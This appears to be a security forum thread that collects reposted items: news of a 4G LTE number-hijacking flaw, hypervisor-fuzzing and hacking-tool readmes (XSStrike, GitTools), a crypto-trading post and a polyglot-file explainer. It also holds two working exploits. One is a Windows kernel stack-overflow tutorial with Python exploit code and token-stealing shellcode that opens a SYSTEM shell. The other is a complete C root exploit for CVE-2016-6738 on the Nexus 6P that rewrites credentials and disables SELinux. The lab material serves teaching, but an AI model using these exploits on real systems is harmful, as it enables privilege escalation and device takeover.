Leaderboard

‘Ghost Telephonist’ Attack Exploits 4G LTE Flaw to Hijack Phone Numbers By Waqas on July 31, 2017 Email @hackread According to UnicornTeam, a group of Chinese researchers from country’s leading security firm 360 Technology, there is a dangerous vulnerability in 4G LTE network’s Circuit Switched Fallback (CSFB) which allows hackers to hijack cell phone numbers. Unicorn Team demonstrated the findings (PDF) on Sunday at the Black Hat USA 2017 hacker summit. As per the team of researchers, CSFB’s authentication step is missing from its procedure, which can allow easy access to hackers to the phone. At the summit, Unicorn Team created a situation where a hacker could use a stolen mobile number to reset the password of a Google account. Once the phone was hijacked, all that was required to be done was to sign in to the Google Email account and click on “Forget the Password.” Huang Lin, a wireless security researcher of the team, told Chinese news site Xinhua that this particular flaw could be exploited to carry out different kinds of hack attacks. “Several exploitations can be made based on this vulnerability – We have reported this vulnerability to the Global System for Mobile Communications Alliance(GSMA),” said Lin. We do know that Google sends a verification code to the mobile before allowing password reset. If hackers have hijacked the mobile, they could easily intercept the message and get the code to reset the account’s password. All this would take place without the knowledge of the victim, and the phone will remain online in 4G network. Since a majority of internet app accounts also use the same method for resetting the password, therefore, an attacker can easily initiate the password reset process using the phone number. Moreover, attackers can perform other actions too like starting a call or sending an SMS on behalf of the victim. Using the victim’s phone number, attackers can launch advanced attacks as well. The victim will remain clueless because neither 2G nor 4G fake base station is utilized and cell re-selection is also not conducted. Attackers sometimes target a selected victim, or they may launch an attack against a randomly chosen victim. To counter the Ghost Telephonist attack, also dubbed as the Evil Attack, various measures were proposed by the team. The team is also collaborating with operators, internet service providers and terminal manufacturers for eliminating the vulnerability. They already notified the Global System for Mobile Communications Alliance (GSMA) about this flaw. WATCH THE DEMO VIDEO BELOW Sursa: https://www.hackread.com/ghost-telephonist-attack-exploits-4g-lte-flaw-to-hijack-phone-numbers/

Introduction to Windows Kernel Exploitation Part 2: Stack Overflow August 1, 2017 rootkit Overview In the part 1, we looked into how to manually setup the environment for Kernel Debugging. If something straightforward is what you want, you can look into this great writeup by hexblog about setting up the VirtualKd for much faster debugging. In this post, we’d dive deep into the kernel space, and look into our first Stack Overflow example in kernel space through driver exploitation. A shoutout to hacksysteam for the vulnerable driver HEVD, and fuzzySecurity, for a really good writeup on the topic. Setting up the driver For this tutorial, we’d be exploiting the stack overflow module in the HEVD driver. Download the source from github, and either you can build the driver yourself from the steps mentioned on the github page, or download the vulnerable version here and select the one according to the architecture (32-bit or 64-bit). Then, just load the driver in the debugee VM using the OSR Loader as shown below: Check if the driver has been successfully loaded in the debugee VM. There’s also a .pdb symbol file included with the driver, which you can use as well. Once the driver is successfully loaded, we can now proceed to analyze the vulnerability. Analysis If we look into the source code of the driver, and see the StackOverflow.c file, hacksysteam has done a really good job in demonstrating both the vulnerable and the secure version of the driver code. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #ifdef SECURE // Secure Note: This is secure because the developer is passing a size // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence, // there will be no overflow RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else DbgPrint("[+] Triggering Stack Overflow\n"); // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability // because the developer is passing the user supplied size directly to // RtlCopyMemory()/memcpy() without validating if the size is greater or // equal to the size of KernelBuffer RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } Here we see that in the insecure version, RtlCopyMemory() is taking the user supplied size directly without even validating it, whereas in the secure version, the size is limited to the size of the kernel buffer. This vulnerability in the insecure version enables us to exploit the stack overflow vulnerability. Let’s analyze the driver in IDA Pro, to understand how and where the Stack Overflow module is triggered: From the flow, let’s analyze the IrpDeviceIoCtlHandler call. We see that if the IOCTL is 0x222003h, the pointer jumps to the StackOverflow module. So, we now have the way to call the Stack Overflow module, let’s look into the TriggerStackOverflow function. Important thing to note here is the length defined for the KernelBuffer, i.e. 0x800h (2048). Exploitation Now that we have all the relevant information, let’s start building our exploit. I’d be using DeviceIoControl() to interact with the driver, and python to build our exploit. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import ctypes, sys from ctypes import * kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle." sys.exit(0) buf = "A"*2048 bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None) Let’s fire up the WinDbg in debugger machine, put a breakpoint at TriggerStackOverflow function and analyze the behavior when we send the data of length 0x800h (2048). 1 2 3 !sym noisy .reload;ed Kd_DEFAULT_Mask 8; bp HEVD!TriggerStackOverflow What we see is, that though our breakpoint is hit, there’s no overflow or crash that occured. Let’s increase the buffer size to 0x900 (2304) and analyze the output. Bingo, we get a crash, and we can clearly see that it’s a vanilla EIP overwrite, and we are able to overwrite EBP as well. Through the classic metasploit’s pattern create and offset scripts, we can easily figure out the offset for EIP, and adjusting for the offset, the script looks like: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import ctypes, sys from ctypes import * kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle." sys.exit(0) buf = "A"*2080 + "B"*4 + "C"*220 bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None) Now that we have the control of EIP and have execution in kernel space, let’s proceed with writing our payload. Because of the DEP, we can’t just execute the instructions directly passed onto the stack, apart from return instructions. There are several methods to bypass DEP, but for the simplicity, I’d be using VirtualAlloc() to allocate a new block of executable memory, and copy our shellcode in that to be executed. And for our shellcode, I’d be using the sample token stealing payload given by the hacksysteam in their payloads.c file. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pushad ; Save registers state ; Start of Token Stealing Stub xor eax, eax ; Set ZERO mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS:[0x124] mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process mov ecx, eax ; Copy current process _EPROCESS structure mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub popad ; Restore registers state Basically this shellcode saves the register state, finds the current process token and saves it, then finds the SYSTEM process pid, extracts the SYSTEM process token, replace the current process’s token with the SYSTEM process token, and restore the registers. As Windows 7 has SYSTEM pid 4, the shellcode can be written as: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import ctypes, sys, struct from ctypes import * kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(0) shellcode = "" shellcode += bytearray( "\x60" # pushad "\x31\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124] "\x8b\x40\x50" # mov eax,[eax+0x50] "\x89\xc1" # mov ecx,eax "\xba\x04\x00\x00\x00" # mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8] "\x2d\xb8\x00\x00\x00" # sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx "\x75\xed" # jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8] "\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx "\x61" # popad ) ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40)) buff = (c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode))) shellcode_final = struct.pack("<L",ptr) buf = "A"*2080 + shellcode_final bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None) But we soon hit a problem here during execution: We see that our application recovery mechanism is flawed, and though our shellcode is in memory and executing, the application isn’t able to resume its normal operations. So, we would need to modify and add the instructions that we overwrote, which should help the driver resume it’s normal execution flow. Let’s analyze the behaviour of the application normally, without the shellcode. We see that we just need to add pop ebp and ret 8 after our shellcode is executed for the driver recovery. The final shellcode, after this, becomes: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(0) shellcode = "" shellcode += bytearray( "\x60" # pushad "\x31\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124] "\x8b\x40\x50" # mov eax,[eax+0x50] "\x89\xc1" # mov ecx,eax "\xba\x04\x00\x00\x00" # mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8] "\x2d\xb8\x00\x00\x00" # sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx "\x75\xed" # jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8] "\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx "\x61" # popad "\x31\xc0" # xor eax,eax "\x5d" # pop ebp "\xc2\x08\x00" # ret 0x8 ) ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40)) buff = (c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode))) shellcode_final = struct.pack("<L",ptr) buf = "A"*2080 + shellcode_final bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None) Popen("start cmd", shell=True) if __name__ == "__main__": main() And W00tW00t, we get the nt authority\system privileges, successfully exploiting our vulnerability. Posted in Kernel, Tutorial Sursa: https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/

What is CrashOS? CrashOS is a tool dedicated to the research of vulnerabilities in hypervisors by creating unusual system configurations. CrashOS is a minimalist Operating System which aims to lead to hypervisor crashs, hence its name. You can launch existing tests or implement your owns and observe hypervisor behaviour towards this unusual kernel. The core of CrashOS provides the following OS features: the Boot entry; the memory management (segmentation and paging); the interrupt and exception handling; the I/O communication. A default kernel configuration is available but this set of features allows to entirely reconfigure the kernel as you desire. Note : CrashOS is a work in progress. Please report any issue here. Hardware and software requirements CrashOS only works on Intel x86 hardware architecture, requires gcc-4.8 to be compiled and GRUB to boot. Installation To install CrashOS, first compile the project with the main Makefile. It will create the 32-bits executable test.bin. .../crashos$ make Then install test.bin and Grub in a bootable storage, and use this bootable storage to launch the VM in your hypervisor. A example of installation with Vmware is included in the Makefile by executing the following command line: .../crashos$ make install Don't forget to adapt the VM path in the script tools/installer_vmware.sh: VMPATH="/home/xxx/Vmware/${VMNAME}" Usage Use the script create_new_test_directory.py to create a new directory containing your test. It will create the local Makefile, a log file to store the test logs, a text file to describe the test and the test file filled with the test template. /crashos/tools$ python create_new_test_directory.py myowntest Directory myowntest created /crashos/tools$ cd .. /crashos$ ls src/myowntest/ Makefile myowntest.c myowntest.log myowntest.txt In CrashOS, each test needs to define a specific kernel configuration. Thus, each test must contain: an "init" function: it saves the current kernel configuration and defines the configuration with which we want to work; the "test" function; a "restore" function: it recovers the old kernel configuration. A test template is available here. To init the kernel, some default functions are available (init.h and init.c): Function Description init_work_mem() Initialize the mem_info struct to define the available physical memory init_segmentation(...) Initialize the GDT (Global Descriptor Table) with the following entries and update gdtr and segment selectors init_paging(...) Initialize the PGD with the first 4MB in Identity Mapping, update CR3 and CR4 and enable the paging in CR0 init_interrupts(...) Initialize the IDT (Interrupt Descriptor Table) with the following entries (32 first entries for exceptions) Others functions allow the developer to modify the default system parameters and to define his own configuration. The following command line generates a a code documentation for all functions available in CrashOS: .../crashos$ make doc It will create a html documentation in doxygen_documentation/html/index.html. Specify, in the main Makefile, the list of tests you want to launch: ... TESTS := test_repo1 test_repo2 ... Then, compile the project. .../crashos$ make install License CrashOS is released under GPLv2. Sursa: https://github.com/airbus-seclab/crashos

trag pe nas In noaptea de 1 august se va intampla forkul BTC si crearea BCC. Cand se va diviza blockchainul, lantul cel scurt (BCC) va lua cu el o parte din valoarea BTC. Futures de pe coinmarketcap arata ca va lua $400 https://coinmarketcap.com/currencies/bitcoin-cash/ din valoarea BTC. Ca sa facem bani, vom paria ca BTC isi va da crash cu un leverage marit de x3 pe cex : https://cex.io/r/0/up106801277/0/ Am bagat ~$130 in btc in cont, asta-mi va permite un margin de $47 in fericitul caz in care nu o sa-i pierd pe toti.

Levels of Inception Browser loads page as index.html HTML contains <script src="#"> tag Script writes <link href="#"> Stylesheet renders background: url() Created by Martin Kleppe, aka @aemkei. Share it on Twitter if you like it. For other creative hacks, visit aem1k.com. How Does it Work? View the page source and watch the network panel to see what is going on. The document starts with the HEX signature "FF D8 FF E1" that identifies the file as a JPEG. The following two bytes define the EXIF header size. Here "0D 3D" leaves space for 3389 bytes. Because the encoding was set to "ISO-8859-1", the first assignemnt ???? = {} is a valid JavaScript expression. The equal sign is not a allowed in CSS selectors but it won't cause the interpretor to stop. The rule inception * { background: url() } is valid CSS and JS at the same time. To avoid errors in JavaScript, we need to hoist the variable "inception" and the function "url". When using href="#", src="#" or url() it points to the same ressource. Line and block comments make it possible to apply the HTML structure and load our script. To render HTML on the first run, the "Content-Type" header must be "text/html". The type will be ignored later, when we refer to it as a JS, CSS and JPEG. Then we include the JPEG image data and close the block comment at the end of the file. Full information: http://incept10n.com/

/* * Exploit for AndroidID-30034511, CVE-2016-6738 * https://source.android.com/security/bulletin/2016-11-01 * * Just for Nexus 6p MTC19X, if you want to run on other version, some symbol address should be changed * * shell@angler:/ $ getprop ro.build.fingerprint * google/angler/angler:6.0.1/MTC19X/2960136:user/release-keys * * By Gengjia Chen(chengjia4574@gmail.com, twitter: @chengjia4574) * * 7-12-2016 */ #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <stdbool.h> #include <sys/mman.h> #include <sys/prctl.h> #include <sys/syscall.h> #include "qcedev.h" #define ioctl_syscall(n, efd, cmd, arg) \ eabi_syscall(n, efd, cmd, arg) #define NEW_PROC_NAME "My-Expl0it" #define KERNEL_BASE 0xffffffc000000000 #define SELINUX_ENFORCING 0xffffffc0019de11c #define INIT_TASK 0xffffffc00177f1a0 #define PTMX_MISC 0xffffffc001aa8580 #define PTMX_FOPS 0xffffffc001aa84a0 #define PTMX_LLSEEK 0xffffffc0002f7294 #define PTMX_READ 0xffffffc00052b954 #define PTMX_WRITE 0xffffffc00052befc #define PTMX_POLL 0xffffffc00052bafc #define PTMX_IOCTL 0xffffffc00052e0c4 #define COMPAT_PTMX_IOCTL 0xffffffc00052ba34 #define PTMX_OPEN 0xffffffc0005358b0 #define PTMX_RELEASE 0xffffffc00052d904 #define PTMX_FASYNC 0xffffffc00052b900 /* * rop read: * ffffffc000300060: f9405440 ldr x0, [x2,#168] * ffffffc000300064: d65f03c0 ret */ #define ROP_READ 0xffffffc000300060 /* * rop write: * ffffffc000671a58: b9000041 str w1, [x2] * ffffffc000671a5c: d65f03c0 ret */ #define ROP_WRITE 0xffffffc000671a58 static unsigned long my_task = 0; static unsigned int task_offset = 680, comm_offset = 1248, cred_offset = 1240; static int ptmx_fd = 0; static unsigned long fake_ptmx_fops = 0; static int kernel_read_32(unsigned long addr, unsigned int *val); static int kernel_read(unsigned long addr, unsigned long *val); static int kernel_write_32(unsigned long address, unsigned int value); static int kernel_write(unsigned long addr, unsigned long val); static int get_task_by_comm(unsigned long *task) { unsigned int comm0, comm1, comm2; unsigned long task_list, init_task_list, addr; int i, ret = 0; char task_name[50] = {0}; /* * follow the init_task->task list to search myself: * next: swapper->init->kthreadd->... * pre: swapper->...->myself->... */ task_list = (INIT_TASK + task_offset); init_task_list = task_list; for(i=0; i<1000; i++) { /* search self process from tail */ addr = task_list + 8; ret = kernel_read(addr, &task_list); if(task_list == init_task_list) { printf("search task list end, can't get task\n"); return -1; } addr = task_list - task_offset + comm_offset; ret = kernel_read_32(addr, &comm0); addr = task_list - task_offset + comm_offset + 4; ret = kernel_read_32(addr, &comm1); addr = task_list - task_offset + comm_offset + 4 * 2; ret = kernel_read_32(addr, &comm2); memcpy(task_name, &comm0, 4); memcpy(task_name + 4, &comm1, 4); memcpy(task_name + 8, &comm2, 4); if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) { *task = task_list - task_offset; break; } } return 0; } static int do_root(void) { int ret; unsigned long i, cred, addr; unsigned int tmp0; /* search myself */ ret = get_task_by_comm(&my_task); if(ret != 0) { printf("[-] get myself fail!\n"); return -1; } if(!my_task || (my_task < 0xffffffc000000000)) { printf("invalid task address!"); return -2; } ret = kernel_read(my_task + cred_offset, &cred); if (cred < KERNEL_BASE) return -3; i = 1; addr = cred + 4 * 4; ret = kernel_read_32(addr, &tmp0); if(tmp0 == 0x43736564 || tmp0 == 0x44656144) i += 4; addr = cred + (i+0) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+1) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+2) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+3) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+4) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+5) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+6) * 4; ret = kernel_write_32(addr, 0); addr = cred + (i+7) * 4; ret = kernel_write_32(addr, 0); //securebits: cred[i+8] // for full capabilities addr = cred + (i+9) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+10) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+11) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+12) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+13) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+14) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+15) * 4; ret = kernel_write_32(addr, 0xffffffff); addr = cred + (i+16) * 4; ret = kernel_write_32(addr, 0xffffffff); /* success! */ // disable SELinux kernel_write_32(SELINUX_ENFORCING, 0); return 0; } static void restore(void) { unsigned long addr; // restore ptmx_cdev->ops addr = PTMX_MISC + 8 * 9; kernel_write(addr, PTMX_FOPS); } static int kernel_write_32(unsigned long addr, unsigned int val) { unsigned long arg; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE; arg = addr; ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg); return 0; } static int kernel_write(unsigned long addr, unsigned long val) { unsigned int val32; val32 = (unsigned int)val; kernel_write_32(addr, val32); val32 = (unsigned int)((val >> 32) & 0xffffffff); kernel_write_32(addr + 4, val32); return 0; } static int kernel_read_32(unsigned long addr, unsigned int *val) { int ret; unsigned long arg; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_READ; arg = addr - 168; errno = 0; ret = ioctl_syscall(__NR_ioctl, ptmx_fd, 0xdeadbeef, arg); *val = ret; return 0; } static int kernel_read(unsigned long address, unsigned long *value) { unsigned int val0, val1; kernel_read_32(address, &val0); kernel_read_32(address + 4, &val1); *value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000); } static int rop_init(void) { ptmx_fd = open("/dev/ptmx", O_RDONLY); if(ptmx_fd == -1) { printf("[-] Open ptmx fail (%s - %d)\n", strerror(errno), errno); return -1; } return 0; } static int rop_close(void) { close(ptmx_fd); return 0; } static int qcedev_encrypt(int fd, unsigned long src, unsigned long *dst) { int cmd; int ret; int size; struct qcedev_cipher_op_req params; size = sizeof(unsigned long); memset(&params, 0, sizeof(params)); cmd = QCEDEV_IOCTL_ENC_REQ; params.entries = 1; //params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; params.op = QCEDEV_OPER_ENC; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] encrypt fake_ptmx_fops\n"); ret = ioctl(fd, cmd, &params); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } printf("[+] encrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst); return 0; } static int qcedev_decrypt(int fd, unsigned long src, unsigned long *dst) { int cmd; int ret; int size; struct qcedev_cipher_op_req params; size = sizeof(unsigned long); memset(&params, 0, sizeof(params)); cmd = QCEDEV_IOCTL_DEC_REQ; params.entries = 1; //params.in_place_op = 1; params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; //params.op = QCEDEV_OPER_ENC; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] decrypt fake_ptmx_fops\n"); ret = ioctl(fd, cmd, &params); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } printf("[+] decrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst); return 0; } static int trigger(int fd, unsigned long src) { int cmd; int ret; int size; unsigned long dst; struct qcedev_cipher_op_req params; dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops size = sizeof(unsigned long); memset(&params, 0, sizeof(params)); cmd = QCEDEV_IOCTL_DEC_REQ; params.entries = 1; params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr params.alg = QCEDEV_ALG_DES; params.mode = QCEDEV_DES_MODE_ECB; params.data_len = size; params.vbuf.src[0].len = size; params.vbuf.src[0].vaddr = &src; params.vbuf.dst[0].len = size; params.vbuf.dst[0].vaddr = dst; memcpy(params.enckey,"test", 16); params.encklen = 16; printf("[+] overwrite ptmx_cdev ops\n"); ret = ioctl(fd, cmd, &params); // trigger if(ret == -1) { printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno); return -1; } return 0; } #define SIZE 8 static int get_root(void) { int fd, i, ret = 0; void *map; unsigned int cmd; unsigned long edata = 0; unsigned long data = 0; struct qcedev_cipher_op_req params; fd = open("/dev/qce", O_RDONLY); if(fd == -1) { printf("[-] Open qcedev fail (%s - %d)\n", strerror(errno), errno); ret = -1; goto out; } printf("[+] open device qcedev\n"); map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0); if(map == MAP_FAILED) { printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno)); ret = -1; goto out; } //printf("[+] landing mmap'ed @ %p\n", map); memset(map, 0x0, 0x10000); fake_ptmx_fops = map; printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops); *(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK; *(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ; *(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE; *(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL; *(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL; *(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL; *(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN; *(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE; *(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC; qcedev_encrypt(fd, fake_ptmx_fops, &edata); trigger(fd, edata); rop_init(); printf("[+] to get root ...\n"); do_root(); printf("[+] restore \n"); restore(); rop_close(); ioctl_out: close(fd); out: return ret; } static void banner(void) { printf("\n"); printf("*****************************************************************\n"); printf("* Exploit for AndroidID-30034511 *\n"); printf("* For Nexus 6p MTC19X *\n"); printf("* By Gengjia Chen *\n"); printf("* 7-12-2016 *\n"); printf("*****************************************************************\n"); printf("\n"); } int main(void) { int ret; banner(); prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0); ret = get_root(); if(ret == -1) { printf("[-] get root fail\n"); return -1; } printf("[+] SELinux disabled! \n"); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); printf("\n[+] Got it :)\n"); printf("[+] uid=%d gid=%d\n", getuid(), getgid()); sleep(1); ret = execl("/system/bin/sh", "/system/bin/sh", NULL); if( ret ) { printf("execl failed, errno %d\n", errno); } } return 0; } All files: https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2016-6738

XSStrike XSStrike is a python script designed to detect and exploit XSS vulnerabilites. A list of features XSStrike has to offer: Fuzzes a parameter and builds a suitable payload Bruteforces paramteres with payloads Has an inbuilt crawler like functionality Can reverse engineer the rules of a WAF/Filter Detects and tries to bypass WAFs Both GET and POST support Most of the payloads are hand crafted Negligible number of false positives Opens the POC in a browser window Installing XSStrike Use the following command to download it git clone https://github.com/UltimateHackers/XSStrike/ After downloading, navigate to XSStrike directory with the following command cd XSStrike Now install the required modules with the following command pip install -r requirements.txt Now you are good to go! Run XSStrike with the following command python xsstrike Using XSStrike You can enter your target URL now but remember, you have to mark the most crucial parameter by inserting "d3v<" in it. For example: target.com/search.php?q=d3v&category=1 After you enter your target URL, XSStrike will check if the target is protected by a WAF or not. If its not protected by WAF you will get three options 1. Fuzzer: It checks how the input gets reflected in the webpage and then tries to build a payload according to that. 2. Striker: It bruteforces all the parameters one by one and generates the proof of concept in a browser window. 3. Spider: It extracts all the links present in homepage of the target and checks parameters in them for XSS. 4. Hulk: Hulk uses a different approach, it doesn't care about reflection of input. It has a list of polyglots and solid payloads, it just enters them one by one in the target parameter and opens the resulted URL in a browser window. XSStrike can also bypass WAFs XSStrike supports POST method too You can also supply cookies to XSStrike Unlike other stupid bruteforce programs, XSStrike has a small list of payloads but they are the best one. Most of them are carefully crafted by me. If you find any bug or have any suggestion to make the program better please let me know on Ultimate Hacker's facebook page or start an issue on XSStrike's Github repository. Demo video Credits XSStrike uses code from BruteXSS and Intellifuzzer-XSS, XsSCan. Sursa: https://github.com/UltimateHackers/XSStrike

GitTools This repository contains three small python/bash scripts used for the Git research. Read about it here Finder You can use this tool to find websites with their .git repository available to the public Usage This python script identifies websites with publicly accessible .git repositories. It checks if the .git/HEAD file contains refs/heads. ./gitfinder.py -h usage: gitfinder.py [-h] [-i INPUTFILE] [-o OUTPUTFILE] [-t THREADS] optional arguments: -h, --help show this help message and exit -i INPUTFILE, --inputfile INPUTFILE input file -o OUTPUTFILE, --outputfile OUTPUTFILE output file -t THREADS, --threads THREADS threads The input file should contain the targets one per line. The script will output discovered domains in the form of [*] Found: DOMAIN to stdout. Dumper This tool can be used to download as much as possible from the found .git repository from webservers which do not have directory listing enabled. Usage ./gitdumper.sh -h [*] USAGE: http://target.tld/.git/ dest-dir [--git-dir=otherdir] --git-dir=otherdir Change the git folder name. Default: .git Note: This tool has no 100% guaranty to completely recover the .git repository. Especially if the repository has been compressed into pack-files, it may fail. Extractor A small bash script to extract commits and their content from a broken repository. This script tries to recover incomplete git repositories: Iterate through all commit-objects of a repository Try to restore the contents of the commit Commits are not sorted by date Usage ./extractor.sh /tmp/mygitrepo /tmp/mygitrepodump where /tmp/mygitrepo contains a .git directory /tmp/mygitrepodump is the destination directory This can be used in combination with the Git Dumper in case the downloaded repository is incomplete. Demo Here's a small demo of the Dumper tool: Requirements git python curl bash sed License All tools are licensed using the MIT license. See LICENSE.md Sursa: https://github.com/internetwache/GitTools

